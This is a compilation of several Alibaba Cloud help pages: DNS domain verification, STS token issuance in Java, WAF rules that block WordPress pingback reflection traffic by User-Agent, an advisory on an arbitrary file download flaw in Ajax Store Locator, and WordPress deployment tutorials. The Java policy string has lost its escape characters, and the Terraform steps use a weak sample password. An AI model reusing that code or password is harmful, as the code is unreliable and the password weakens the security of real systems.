                  如果确认您的域名成功托管在阿里云云解析服务中,且域名授权验证配置推送失败,您需要手动至阿里云域名解析服务进行域名授权验证配置。关于域名授权验证配置,请参考如何配置域名授权验证

                  手动配置域名授权验证步骤

                  1. 登录阿里云域名管理系统
                  2. 选择您需要配置的域名,单击解析设置
                  3. 解析设置页面,单击添加记录,根据域名授权验证配置的要求添加一条TXT 解析记录。

                    说明 如果您的域名解析中存在CNAME记录,请暂时去掉该CNAME记录,否则将无法通过域名授权验证。在数字证书签发后,您可删除添加的TXT记录,并重新添加CNAME记录。如果CNAME记录无法删除,请通过文件验证方式完成域名授权验证。

                  4. 等待DNS解析生效后,在云盾证书服务管理控制台中进行域名授权验证配置检查。

                  上一篇:域名所有权验证链接中管理员邮箱不正确,无法进行域名所有权验证

                  下一篇:已购证书提交申请审核后需要做什么?

                  相关文档

                  相关产品

                  • SSL证书

                    阿里云SSL证书服务(Alibaba Cloud Certificates Service)是阿里云联合若干国内外知名CA证书厂商,在阿里云平台上直接提供服务器数字证书,阿里云用户可以在云平台上直接购买甚至免费获取所需类型的数字证书,一键部署在阿里云产品中,最小成本的将所持服务从HTTP转换成HTTPS。

                  • 云解析 DNS

                    云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  业务服务器接入_STS认证接入指南_访问与控制_开发指南_智能云相册-阿里云 Fri, 02 May 2025 09:39:04 +0800 业务服务器接入

                  更新时间:2018-06-12 21:53:17

                  本页目录

                  前提条件

                  • 必选:已开通智能云相册服务并创建PhotoStore。
                  • 可选:了解阿里云资源访问控制(下文简称RAM)服务的相关概念。本文也会在必要的地方介绍其相关概念。访问控制的相关内容,请参考:https://help.aliyun.com/document_detail/28645.html

                  开始接入

                  业务服务器需要对接阿里云访问控制服务(RAM),为客户端生成访问智能云相册服务访问凭证。具体包含两个步骤:权限配置和编写代码。

                  1. 权限配置

                  在开始操作前我们先介绍一些基本概念,如果您已经了解了这些概念,可以直接进入操作步骤。

                  什么是子用户/子账号

                  主账号是指注册阿里云时创建的账号,该账号具有操作您所有资源的所有权限(类似于Linux中的root账号,Windows中管理员账号)。

                  子账号是您用主账号登录后创建出的账号,该账号没有任何权限,您可授权子账号只拥有它需要的权限。因此,最佳实践是建立一个子用户专门用于业务服务器接入。

                  什么是角色

                  做个类比,老板在休假前对一个下属讲,“我休假几天,在这期间你临时负责下项目管理(PM)工作,直到我休假回来”。在这个例子中,老板有个PM角色,该角色有查看和修改项目进度等权限。老板授权其下属扮演了PM的角色,因此下属在老板休假期间就具备了PM的相关权限,直到老板休假回来(扮演角色是有有效期的)。注意,老板除了有项目管理的权限外,还有其他权限。老板只授权了下属扮演他的PM的角色,下属并没有老板的其他权限(比如升职、加薪)。

                  获取智能云相册服务的访问凭证的过程其实是业务服务器扮演了一个特定的角色后并临时获得了该角色的权限。扮演角色后获得的权限的表现形式为Security Token。Security Token将被返回给客户端,这样客户端就凭借Security Token具备了临时访问云相册服务的权限。

                  注:扮演角色在RAM中对应的操作是AssumeRole。

                  需要注意的是:业务服务器需要用其自身的鉴权机制要验证客户端的合法性,Security Token只能返回给验证通过的客户端。再次回顾和类比租赁办公室的例子:公司行政部需要验证前来领取门卡的人是否为本公司员工。只有确认TA是该公司的员工后,行政部才能将写字楼的门卡给TA。

                  因此,权限配置需要做的是在RAM的控制台中:

                  • 定义一个角色和定义这个角色拥有访问智能云相册服务的权限
                  • 新建一个子用户,授予该子用户具有扮演上述角色的权限

                  定义角色和定义角色的权限

                  1. 登录RAM控制台
                  2. 单击左边的角色管理,然后单击新建角色
                  3. 在下图中选择用户角色,然后单击下一步

                  4. 在下图中选择当前云账号,然后单击下一步

                  5. 在下图中给这个角色起个名字,比如CloudPhotoAccessRole,然后单击创建
                  6. 这样这个角色就创建出来了,但是它还没有任何权限,单击授权

                  7. 在授权对话框中找到AliyunCloudPhotoFullAccess这个授权策略,并将其添加进去,然后单击确定。这样就定义好了一个角色,并且该角色有访问智能云相册的所有权限。

                    注意:

                    • 这里将AliyunCloudPhotoFullAccess策略授予给新建的角色,只是表示扮演该角色可以获得的最大权限。STS凭证中拥有的权限还需要在生成时指定,详见下面的示例代码。
                    • 这里为了方便我们将AliyunCloudPhotoFullAccess授予给新建的角色。在您熟悉了授权策略的定义后,您也可以根据您的业务情况自行定义授权策略,并通过类似的方式授予给新建的角色。
                  8. 最后,我们需要记录下该角色的ARN(可以理解为角色的ID,后面会用到)。单击角色管理,找到刚刚创建的角色并单击管理。ARN如下图所示:

                  新建子用户和授权

                  1. 单击左边的用户管理,然后单击新建用户按钮
                  2. 在弹出的对话框中输入相关信息,选中为该用户生成AccessKey,这里生成的AccessKey需要记录下来并安全保存,不可泄露。如下图所示:

                  3. 定义一个授权策略,使其具有扮演刚刚新建的角色的权限。

                    1. 单击左侧导航栏的策略管理
                    2. 新建授权策略,选择基于空白模板创建,如下图所示:

                      其中,授权策略名称为该策略的名称(比如:AssumeCloudPhotoAccessRolePolicy),Resource需要替换为您新建的角色的ARN(每个账号建立的角色的ARN名称是不一样的)。您可参考下面的模板进行修改:

                      1. {
                      2. "Statement": [
                      3. {
                      4. "Action": "sts:AssumeRole",
                      5. "Effect": "Allow",
                      6. "Resource": "acs:ram::xxxxxxxxxxxxx:role/cloudphotoaccessrole"
                      7. }
                      8. ],
                      9. "Version": "1"
                      10. }
                  4. 授权新建的子用户拥有AssumeCloudPhotoAccessRolePolicy的权限。

                    1. 在用户管理中,找到您新建的用户,然后单击授权
                    2. 选择所需的权限并单击确定,如下图所示:

                  所有权限配置就完成了。

                  2. 编写代码

                  本节我们将以Java为例来编写代码获取访问智能云相册Security Token。

                  引入相关的SDK

                  在maven的pom.xml中引入RAM SDK,如下:

                  1. <dependencies>
                  2. <dependency>
                  3. <groupId>com.aliyun</groupId>
                  4. <artifactId>aliyun-java-sdk-sts</artifactId>
                  5. <version>3.0.0</version>
                  6. </dependency>
                  7. <dependency>
                  8. <groupId>com.aliyun</groupId>
                  9. <artifactId>aliyun-java-sdk-core</artifactId>
                  10. <version>3.5.0</version>
                  11. </dependency>
                  12. </dependencies>

                  示例代码

                  1. import java.text.MessageFormat;
                  2. import com.aliyuncs.DefaultAcsClient;
                  3. import com.aliyuncs.exceptions.ClientException;
                  4. import com.aliyuncs.http.MethodType;
                  5. import com.aliyuncs.http.ProtocolType;
                  6. import com.aliyuncs.profile.DefaultProfile;
                  7. import com.aliyuncs.profile.IClientProfile;
                  8. import com.aliyuncs.sts.model.v20150401.AssumeRoleRequest;
                  9. import com.aliyuncs.sts.model.v20150401.AssumeRoleResponse;
                  10. import com.aliyuncs.sts.model.v20150401.AssumeRoleResponse.Credentials;
                  11. public class TokenProxy {
                  12. private static final long DEFAULT_TOKEN_TIMEOUT = 3600; // max timeout is 1 hour
                  13. // 这里指定了Security Token所具有的权限,限制为只能访问指定PhotoStore指定照片库的数据
                  14. // 同时禁止其访问SetQuota接口
                  15. static final String POLICY_PATTERN = "'{'n"
                  16. + " "Version": "1",n"
                  17. + " "Statement": [n"
                  18. + " '{'n"
                  19. + " "Effect": "Allow",n"
                  20. + " "Action": "*",n"
                  21. + " "Resource": "acs:cloudphoto:*:*:photostores/{0}/libraries/{1}"n"
                  22. + " '}',n"
                  23. + " '{'n"
                  24. + " "Effect": "Deny",n"
                  25. + " "Action": "cloudphoto:SetQuota",n"
                  26. + " "Resource": "acs:cloudphoto:*:*:photostores/{0}/libraries/{1}"n"
                  27. + " '}'n"
                  28. + " ]n"
                  29. + "'}'";
                  30. private String roleArn;
                  31. private DefaultAcsClient acsClient;
                  32. public TokenProxy(String roleArn, String accessKeyId, String accessKeySecret) throws ClientException {
                  33. DefaultProfile.addEndpoint("", "", "Sts", "sts.aliyuncs.com");
                  34. IClientProfile profile = DefaultProfile.getProfile("", accessKeyId, accessKeySecret);
                  35. this.acsClient = new DefaultAcsClient(profile);
                  36. this.roleArn = roleArn;
                  37. }
                  38. public Credentials createCredentialForClient(String storeName, String libraryId) throws ClientException {
                  39. AssumeRoleRequest request = new AssumeRoleRequest();
                  40. request.setMethod(MethodType.POST);
                  41. request.setProtocol(ProtocolType.HTTPS);
                  42. request.setRoleArn(roleArn);
                  43. // 智能云相册利用Security Token中的RoleSessionName来传递需要访问的照片库的ID,
                  44. // 因此,将RoleSessionName设置为LibraryId
                  45. request.setRoleSessionName(libraryId);
                  46. request.setDurationSeconds(DEFAULT_TOKEN_TIMEOUT);
                  47. String policy = MessageFormat.format(POLICY_PATTERN, storeName, libraryId);
                  48. System.out.println(policy);
                  49. request.setPolicy(policy);
                  50. AssumeRoleResponse response = acsClient.getAcsResponse(request);
                  51. return response.getCredentials();
                  52. }
                  53. public static void main(String[] args) throws ClientException {
                  54. // 设置相关参数
                  55. // 1. accessKeyId 和 accessKeySecret是上面创建子用户时为其生成的。
                  56. String accessKeyId = "";
                  57. String accessKeySecret = "";
                  58. // 2. ARN是上面创建角色时记录下的ARN
                  59. String roleArn = "";
                  60. // 3. 需要访问的photostore的名称
                  61. String storeName = "your_store_name";
                  62. // 4. 需要访问的照片库的Id
                  63. String libraryId = "";
                  64. TokenProxy proxy = new TokenProxy(roleArn, accessKeyId, accessKeySecret);
                  65. Credentials credentials = proxy.createCredentialForClient(storeName, libraryId);
                  66. // 以下三个参数即是为客户端生成临时访问智能云相册的STS凭证。
                  67. System.out.println("tmp accessKeyId = " + credentials.getAccessKeyId());
                  68. System.out.println("tmp accessKeySecret = " + credentials.getAccessKeySecret());
                  69. System.out.println("sts token = " + credentials.getSecurityToken());
                  70. }
                  71. }

                  说明:

                  • 创建角色时定义角色拥有访问智能云相册的权限。在构建AssumeRoleRequest时,设置Policy的目的是设置返回的Security Token的权限,使其只能访问指定照片库的权限。Security Token所拥有的权限是角色的权限和AssumeRoleRequest中指定的Policy权限的交集。因此,设置此处的Policy非常重要。如果设置得不当,可能会导致数据泄露。请参考子用户授权映射表中来自定义您需要的授权策略,或者参考其中的常见授权策略模板。
                  • 示例代码最后输出的Credentials对象中的AccessKeyId,AccessKeySecret和SecurityToken即为临时访问智能云相册的访问凭证,需要返回给客户端,客户端将通过它们具有访问智能云相册的权限(有效期最长为1个小时,可以通过AssumeRoleRequest.setDurationSeconds来调整)。
                  • 智能云相册根据Security Token中的RoleSessionName来确定需要访问的照片库的Id。因此,在构建AssumeRoleRequest时,请一定确保传入的RoleSessionName是期望访问的照片库的Id,否则可能导致数据错乱等问题。

                  最后,如果您需要使用其他语言的SDK来获取访问凭证,请参考访问控制的相关文档:https://help.aliyun.com/document_detail/28645.html

                  上一篇:接入流程

                  下一篇:客户端接入

                  相关文档

                  相关产品

                  • 智能云相册

                    智能云相册(Cloud Photos)是阿里云为影像类应用提供的一站式解决方案。智能云相册除了提供影像文件存储、管理等基础功能以外,还支持对影像内容进行分类打标、面孔识别等智能分析,并提供基于自然语言理解的智能搜索服务。

                  • 对象存储 OSS

                    阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以通过调用 API,在任何应用、任何时间、任何地点上传和下载数据,也可以通过 Web 控制台对数据进行简单的管理。OSS 适合存放任意类型的文件,适合各种网站、开发企业及开发者使用。按实际容量付费真正使您专注于核心业务。

                  • 移动推送

                    阿里移动推送(Alibaba Cloud Mobile Push)是基于大数据的移动智能推送服务,帮助App快速集成移动推送的功能,在实现高效、精确、实时的移动推送的同时,极大地降低了开发成本。让开发者最有效地与用户保持连接,从而提高用户活跃度、提高应用的留存率。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  阿里云帮助中心-阿里云,领先的云计算服务提供商 Fri, 02 May 2025 09:39:04 +0800 J_View_Clear

                  更新时间:2019-01-23 00:57:57

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  清空浏览器视图数据。

                  函数

                  J_View_Clear()

                  返回值

                  1:清空成功

                  样例

                  
                  func test()
                  J_View_clear()
                  endfunc; ==>test

                  相关文档

                  相关产品

                  • 机器人流程自动化RPA

                    使用RPA智能工作软件机器人,专注于企业工作效率提升,帮助用户连接不同的系统和服务,实现工作流程自动化。

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  • 云虚拟主机

                    阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  WordPress xmlrpc PingBack反射攻击防护最佳实践_WordPress xmlrpc PingBack反射攻击防护最佳实践_安全公告_动态与公告_Web 应用防火墙-阿里云 Fri, 02 May 2025 09:39:04 +0800 WordPress xmlrpc PingBack反射攻击防护最佳实践

                  更新时间:2020-01-13 17:43:01

                  编辑 · 

                  新浪微博 微信 钉钉

                  本页目录

                  本文用于在遭受WordPress反射攻击时,通过Web应用防火墙防御WordPress反射攻击。

                  wordpress反弹攻击,防护流程

                  什么是WordPress反射攻击

                  WordPress是一种使用PHP语言开发的博客平台,pingback是WordPress的一个插件。黑客可以利用pingback对网站发起WordPress反射攻击。discussion settings

                  在遭受WordPress攻击后,您可以在服务器日志上看到大量User-Agent中包含WordPress、pingback字样的请求。ua,wordpress,pingback

                  WordPress反射攻击是CC攻击的变种,可以造成网页加载极其缓慢、服务器CPU飙升、失去响应等情况。

                  关于攻击的原理,请参见WordPress反弹攻击那点事儿

                  如何使用Web应用防火墙进行防御

                  1. 登录云盾Web应用防火墙控制台
                  2. 前往管理 > 网站配置页面。
                  3. 选择需要防护的域名,单击其操作列下的防护配置
                  4. 精准访问控制下,单击前去配置
                  5. 单击新增规则,分别添加以下两条精准访问控制规则。
                    • 阻断User-Agent中包含pingback的访问。
                      • 规则名称:wp1
                      • 匹配字段:User-Agent
                      • 逻辑符:包含
                      • 匹配内容:pingback
                      • 匹配动作:阻断
                    • 阻断User-Agent中包含WordPress的访问。
                      • 规则名称:wp2
                      • 匹配字段:User-Agent
                      • 逻辑符:包含
                      • 匹配内容:WordPress
                      • 匹配动作:阻断

                    说明 两条规则要分开添加。

                  更多信息

                  安全管家服务可以为您提供包括安全检测、安全加固、安全监控、安全应急等一系列专业的安全服务项目,帮助您更加及时、有效的应对漏洞及黑客攻击,详情请关注安全管家服务

                  上一篇:WordPress拒绝服务(CVE-2018-6389)漏洞防护最佳实践

                  下一篇:什么是Web应用防火墙

                  相关文档

                  相关产品

                  • Web 应用防火墙

                    云盾Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力实现,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。

                  • DDoS防护

                    针对DDoS攻击,阿里云提供了多种安全解决方案供您选择,满足不同DDoS防护需求。

                  • 云安全中心

                    云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  一键启动WordPress_教程_Web应用托管服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 一键启动WordPress

                  更新时间:2020-04-10 12:52:48

                  本页目录

                  WordPress是一种使用非常广泛的内容管理系统(CMS)系统。本文介绍如何使用Web+来一键启动一个WordPress站点。

                  在Web+控制台一键启动WordPress环境

                  在Web+控制台首页,您可以一键启动一个WordPress环境。

                  1. 登录Web+控制台,并在页面左上角选择所属地域。
                  2. 概览页的最近更新的部署环境区域的右上角单击一键启动WordPress
                  3. 一键启动WordPress页面设置环境信息。

                    参数 描述
                    应用名称 根据控制台提示输入您想创建的应用名称。
                    应用描述 输入一段描述信息帮助您识别这个应用。
                    使用共享OSS存储
                    • 开启开关使用共享OSS存储。创建该应用后,其下的所有部署环境需要使用OSS存储的地方(相关场景有上传部署包、收集日志和收集诊断信息等),都将存储于Web+提供的公共OSS。
                    • 关闭开关后则将对应文件存储于您自己的OSS。
                    自定义部署环境信息
                    • 开关关闭时您可按照低成本配置直接创建一个WordPress环境,部署环境名称与应用名称相同。
                    • 开启开关后可自定义部署环境名称部署环境描述

                  4. 单击确定启动WordPress
                  5. 操作清单对话框查看变更清单,单击确定

                    之后将会出现成功创建应用和创建部署环境的页面提示。单击查看部署环境日志可进入创建的WordPress部署环境变更事件对话框,待变更完成后关闭对话框进入部署环境概览页。

                  访问部署的Web应用来安装配置WordPress

                  1. 在部署环境概览页单击公网访问地址访问创建的Web应用。

                    部署环境概览页

                  2. 进入WordPress配置页面,选择所要使用的语言,屏幕将会出现下图中显示的内容。

                    WordPress首页

                  3. 根据自己的业务需求完成后续的WordPress配置。

                  上一篇:在Web+控制台部署Jenkins

                  下一篇:使用Jenkins部署ASP.NET Core应用

                  相关文档

                  相关产品

                  • Web应用托管服务

                    Web应用托管服务(Web App Service,简称Web+)是一个用来构建和部署应用的全托管式平台,您可以在Web+上部署Web类、移动类和API类应用。您可以使用Java语言编写并构建应用程序,在无需管理底层基础设施的情况下,即可简单、高效、安全和灵活地对应用进行部署、扩缩、变更配置和监控。

                  • Serverless 应用引擎

                    Serverless 应用引擎(Serverless App Engine,简称 SAE) 让您无需管理和维护集群与服务器,即可快速创建应用。使用 SAE,您可以专注于设计和构建应用程序,而不用管理运行应用程序的基础设施。您只需为部署在 SAE 上的应用所实际使用的 CPU 和内存资源量进行按需付费,不用为闲置的资源付费。

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  【漏洞公告】Wordpress 插件 Ajax Store Locator 任意文件下载漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】Wordpress 插件 Ajax Store Locator 任意文件下载漏洞

                  更新时间:2017-11-23 17:45:51

                  本页目录

                  漏洞描述

                  Ajax Store Locator 是一款 Wordpress 插件。

                  Ajax Store Locator 存在一个严重的安全漏洞,可以导致黑客远程下载服务器上任意文件。攻击者可构造恶意请求下载服务器上的敏感文件,进而植入网站后门控制网站服务器主机。

                  受影响范围

                  Wordpress Ajax Store Locator <= 1.2

                  修复方案

                  进入 Wordpress 管理后台,将 Wordpress Ajax Store Locator 插件更新至最新版本。

                  上一篇:【漏洞公告】92game.net 网站管理系统弱口令漏洞

                  下一篇:【漏洞公告】CmsEasy 后台任意登录漏洞

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  基于Terraform部署Kubernetes托管版集群及Wordpress应用_解决方案_教程_云命令行-阿里云 Fri, 02 May 2025 09:39:04 +0800 基于Terraform部署Kubernetes托管版集群及Wordpress应用

                  更新时间:2019-12-04 19:32:59

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  您可以通过Terraform部署一个阿里云容器服务的Kubernetes托管版集群,并在该集群上部署一个Wordpress 应用。

                  教程介绍

                  以下步骤及示例均已在 Alibaba Cloud Shell 中集成,您可以在 Cloud Shell 中打开,快速体验通过Terraform来自动创建、编排和管理容器服务,以及完成在容器集群上应用的自动部署。

                  完成本教程后,您会创建以下资源。其中,容器服务没有任何附加费用,您只需要支付所使用资源(云服务器、 负载均衡等)的费用。

                  • Worker 实例(ECS)
                    • 实例规格:ecs.n2.medium
                    • 实例数量:3
                    • 系统盘:20G 高效云盘
                  • 负载均衡
                    • 实例数量:3
                    • 付费模式:按量付费
                  • 弹性公网IP
                    • 实例数量:1
                    • 付费模式:使用流量计费
                  • NAT网关
                    • 实例数量:1
                    • 付费模式:按量付费

                  具体计费信息,参见 ECS计费概述负载均衡按量计费弹性公网IP按量计费NAT网关按量计费

                  使用限制

                  在开始使用本教程之前,确保您已经了解以下限制并满足相关要求:

                  • 保证您的账户有100元的余额并通过实名认证,否则无法创建按量付费的ECS实例和负载均衡。
                  • 随集群一同创建的负载均衡实例只支持按量付费的方式。
                  • Kubernetes集群仅支持专有网络VPC。
                  • 您的每个账号默认可以创建的云资源有一定的配额,如果超过配额,集群创建失败。如果您需要提高配额,请提交工单申请。
                    • 每个账号默认最多可以创建100个安全组。
                    • 每个账号默认最多可以创建60个按量付费的负载均衡实例。
                    • 每个账号默认最多可以创建20个EIP。
                  • 在开始之前,确保您已开通了以下云服务:

                  创建托管版Kubernetes集群

                  若您已有Kubernetes集群,需要配置集群凭证。您可以登录容器服务控制台,将您的集群凭证复制到~/.kube/config文件中。

                  完成以下操作,创建Kubernetes集群:

                  1. 执行以下命令定位到用来创建Kubernetes集群的Terraform模板的目录。
                    cd ~/terraform-kubernetes-wordpress/kubernetes
                  2. 执行init命令加载Alibaba Cloud Providers
                    terraform init
                  3. 执行以下命令部署集群。
                    terraform apply

                    说明 如果出现 ErrManagedKuberneteRoleNotAttach 的错误,请检查所需服务是否开通,以及您的账号是否通过了实名认证同时账户余额大于100元。

                    部署成功后,系统会返回集群ID,控制台显示如下输出。
                    ...
                    Outputs:
                    cluster_id = [
                        c0f2e04c77e234******
                    ]
                    ...
                    vswitch_ids = [
                        vsw-bp1c3hfcd6l8******
                    ]

                    Kubernetes的Kube Config文件会存储在~/.kube目录下。您可以登录容器服务控制台查看通过Terraform创建的Kubernetes集群。

                    您可以通过以下参数自定义您的Kubernetes集群:

                    • worker_instance_type:Worker实例规格
                    • worker_disk_category:Worker实例系统盘
                    • worker_disk_size:Worker实例系统盘容量
                    • ecs_password:Worker实例登录密码
                    • k8s_worker_number:Worker实例数量
                    • k8s_name_prefix:集群名称前缀

                  部署Wordpress应用

                  完成以下操作,将Wordpress应用部署到之前创建的Kubernetes托管版集群中。

                  1. 执行以下命令定位到用来部署Wordpress应用的Terraform模板的目录。
                    cd ~/terraform-kubernetes-wordpress/wordpress
                  2. 执行init命令加载kubernetes providers。
                    terraform init
                  3. 执行以下命令部署应用。其中,需要显式指定MySQL的密码 ,也可以指定需要的Wordpress和MySQL的版本。
                    terraform apply -var 'mysql_password=Test12345'
                    terraform apply -var 'mysql_version=5.6' -var 'wordpress_version=4.7.3' -var 'mysql_password=Test12345'

                    说明 如果出现 ErrManagedKuberneteRoleNotAttach 的错误,请检查所需服务是否开通,以及您的账号是否通过了实名认证同时账户余额大于100元。

                    部署成功后,控制台显示如下输出。
                    ...
                    Outputs:
                    slb_ip = 35.197.xx.xx

                    其中,slb_ip表示应用负载均衡的公网IP。在浏览器中访问该IP地址,可以看到您部署的Wordpress应用。

                  销毁应用

                  按照以下步骤完成操作,销毁您部署的应用。

                  1. 执行以下命令定位到用来部署Wordpress应用的Terraform模板的目录。
                    cd ~/terraform-kubernetes-wordpress/wordpress
                  2. 执行以下命令销毁您部署的Wordpress应用。
                    terraform destroy -var 'mysql_password=Test12345'
                  3. 执行以下命令定位到用来创建Kubernetes集群的Terraform模板的目录。
                    cd ~/terraform-kubernetes-wordpress/kubernetes
                  4. 执行以下命令销毁您创建的Kubernetes集群。
                    terraform destroy

                  上一篇:复制ECS安全组

                  下一篇:基于弹性容器实例部署Parse Server应用

                  相关文档

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  十分钟搭建基于 Wordpress 的 Serverless Web 应用_搭建 Web 应用_场景案例_函数计算-阿里云 Fri, 02 May 2025 09:39:04 +0800 十分钟搭建基于 Wordpress 的 Serverless Web 应用

                  更新时间:2020-02-13 10:43:13

                  本页目录

                  前言

                  本文旨在通过 快速部署一个 wordpress 网站到阿里云 函数计算 平台 这个示例来展示 serverless web 新的开发模式, 包括 FUN 工具一键初始化 NAS, 同步网站到 NAS, 一键部署等能力, 展现函数计算的开发敏捷特性、自动弹性伸缩能力、免运维和完善的监控设施。

                  相关参考文档: https://yq.aliyun.com/articles/640912

                  1.1 DEMO 概述

                  开通服务

                  免费开通函数计算, 按量付费,函数计算有很大的免费额度。

                  免费开通文件存储服务NAS, 按量付费

                  1.2 解决方案

                  image

                  如上图所示, 当多个用户通过对外提供的 url 访问web服务的时候,每秒的请求几百上千都没有关系, 函数计算平台会自动伸缩, 提供足够的执行实例来响应用户的请求, 同时函数计算提供了完善的监控设施来监控您的函数运行情况。

                  1.3 Serverless 方案与传统自建 web 方案对比

                  ITEM 成本 稳定性
                  基于 VM 方案 使用 ecs.t5-lc1m1.small, 22.8元/月 服务器和数据库在同一台VM, 均无主备容灾,同时该规格的主机本身性能弱
                  轻量应用服务器 60元/月(1vCPU 1GB 1Mbps 20GB[ssd]) 服务器和数据库在同一台VM, 均无主备容灾,同时该规格的主机本身性能弱
                  函数计算 sqlite3 版本约为 1元/月
                  mysql 版本大约 26元/月

                  函数计算完整费用详情:

                  • 每月前 100 万次函数调用免费, 每月前 400000(GB*秒) 费用免费, 函数的内存可以设置为 128M 或者 256M, 因此对于一个一个月访问量低于 100 万次的网站, 该项是免费的

                  • 对于低成本的网站, 假设一个月的产生的公网流量为 1GB, 0.8元

                  • NAS, US$0.06/GB/Month, 网站大小为 50M, 即使按 1G 计算, 0.42元

                  • RDS mysql 最基本的单机版本, 25元/月

                  函数计算计费 | NAS 定价

                  如上所述, 在低成本网站领域, 函数计算具有十分明显的成本优势,同时还保持了弹性能力,以后业务规模做大以后并没有技术切换成本(可能需要做的只是更换一个更强的关系型数据库), 同时财务成本增长配合预付费也能保持平滑。低成本网站变成高可用高性能网站如丝般顺滑, 高性能网站详情可以参考文末 FAQ 中的 Q1 问题。

                  函数计算运行 PHP 框架原理

                  在具体操作部署之前, 先简单梳理一遍函数计算运行 PHP 框架原理

                  2.1 传统服务器 PHP 运行原理

                  • 原理示意图image.png
                  • A simple nginx confimage.png

                    从上面原理示意图我们可以看出,Web 服务器根据 conf 中 location将 PHP 脚本交给 php-fpm 去解析,然后将解析后的结果返回给 client 端

